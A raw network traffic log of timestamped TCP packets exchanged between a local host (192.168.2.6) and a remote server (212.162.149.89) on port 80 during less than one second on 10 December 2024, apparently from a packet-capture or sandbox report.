Dec 10, 2024 10:33:50.411573887 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.411617041 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.420531988 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.420634985 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.420711994 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.420800924 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.427478075 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.427598000 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.427627087 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.427719116 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.435139894 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.435236931 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.435368061 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.478809118 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.478893042 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.478915930 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.479193926 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.482398033 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.482474089 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.550687075 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.550770044 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.550801992 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.551043987 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.553155899 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.553255081 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.553286076 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.553520918 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.557919025 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.557997942 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.558073997 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.558489084 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.563019037 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.563075066 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.563096046 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.563333035 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.567506075 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.567636967 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.567653894 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.567811966 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.572118044 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.572184086 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.572213888 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.572324038 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.577008009 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.577085972 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.577100992 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.577179909 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.581521034 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.581583977 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.581715107 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.586029053 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.586106062 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.586126089 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.586199999 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.590606928 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.590728998 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.590826035 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.595241070 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.595432043 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.595659971 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.599827051 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.599899054 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.599972963 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.604624987 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.604768038 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.604792118 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.604827881 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.609324932 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.609407902 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.609549046 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.612884998 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.613023996 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.613287926 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.616589069 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.616818905 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.616951942 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.617146015 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.619981050 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.620105028 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.620137930 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.620191097 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.623598099 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.623692989 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.623775005 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.625946045 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.627203941 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.627336025 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.627588034 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.630891085 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.631087065 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.631114006 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.633900881 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.634473085 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.634685993 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.634879112 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.638160944 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.638194084 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.638545036 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.638700962 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.641803026 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.641987085 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.641993046 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.642102003 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.672991991 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.673006058 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.673157930 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.742932081 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.743062019 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.743232012 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.744381905 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.744452953 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.744503021 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.744518042 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.747168064 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.747256994 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.747296095 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.747397900 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.749983072 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.750094891 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.750125885 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.750237942 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.752839088 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.752903938 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.752933025 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.752976894 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.755501032 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.755635023 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.755666018 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.755750895 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.758193016 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.758259058 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.758292913 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.758378983 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.760831118 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.760924101 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.760958910 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.761181116 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.763444901 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.763514996 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.763550997 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.763592958 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.766042948 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.766103983 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.766134024 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.766190052 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.766190052 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.768661976 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.768840075 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.768871069 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.768908978 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.771290064 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.771390915 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.771517992 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.771701097 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.772905111 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.772968054 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.772975922 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.773075104 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.775521040 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.775593042 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.775816917 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.775898933 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.778019905 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.778033972 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.778168917 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.780091047 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.780219078 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.780253887 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.780317068 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.782566071 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.782669067 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.782670975 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.782721043 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.784955978 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.785078049 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.785095930 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.785324097 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.787427902 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.787451982 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.787506104 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.787506104 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.789838076 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.789871931 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.789897919 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.789954901 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.792248011 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.792313099 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.792325974 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.792597055 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.794694901 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.794776917 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.794799089 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.794862032 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.797106981 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.797219038 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.797246933 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.797920942 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.799525976 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.799638033 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.799753904 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.799952030 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.801350117 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.801461935 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.801482916 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.801537037 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.803289890 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.803385973 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.803420067 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.803503036 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.804987907 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.805063009 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.805109978 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.805190086 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.806826115 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.806931973 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.806952000 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.807025909 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.808670998 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.808777094 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.808789015 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.808861971 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.810514927 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.810605049 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.810622931 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.810687065 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.812306881 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.812433004 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.812468052 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.812609911 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.814137936 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.814264059 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.814507961 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.815957069 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.816106081 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.816138983 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.817768097 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.817866087 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.817866087 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.817872047 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.819628000 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.819731951 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.819756985 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.821413040 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.821444035 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.821512938 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.821512938 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.823213100 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.823331118 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.823343039 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.823501110 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.825069904 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.825292110 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.825319052 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.826208115 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.826864004 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.826925039 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.827083111 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.938606977 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.938621998 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.939042091 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.939317942 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.939441919 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.939467907 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.939578056 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.940845966 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.940934896 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.940958977 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.941855907 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.942374945 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.942461014 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.942528963 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.942528963 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.943913937 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.943958998 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.943983078 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.944077969 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.945386887 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.945538998 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.945560932 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.946121931 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.946810007 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.946975946 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.947191954 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.947375059 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.948286057 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.948506117 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.948612928 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.949764967 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.949866056 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.949896097 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.949965954 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.951216936 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.951304913 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.951330900 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.951379061 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.952562094 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.952682018 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.952711105 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.952753067 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.953980923 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.954073906 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.954143047 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.955456018 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.955535889 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.955563068 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.955615997 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.956804037 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.956882954 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.956914902 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.956983089 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.958172083 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.958251953 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.958348036 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.958427906 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.959583044 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.959656000 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.959714890 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.959943056 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.960972071 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.961059093 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.961136103 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.961193085 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.962393999 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.962481022 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.962483883 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.962582111 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.963795900 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.963880062 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.963958025 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.964180946 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.965238094 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.965317965 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.965553045 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.965661049 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.966613054 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.966702938 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.966733932 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.966810942 CET	49967	80	192.168.2.6	212.162.149.89
Dec 10, 2024 10:33:50.967992067 CET	80	49967	212.162.149.89	192.168.2.6
Dec 10, 2024 10:33:50.968072891 CET	49967	80	192.168.2.6	212.162.149.89
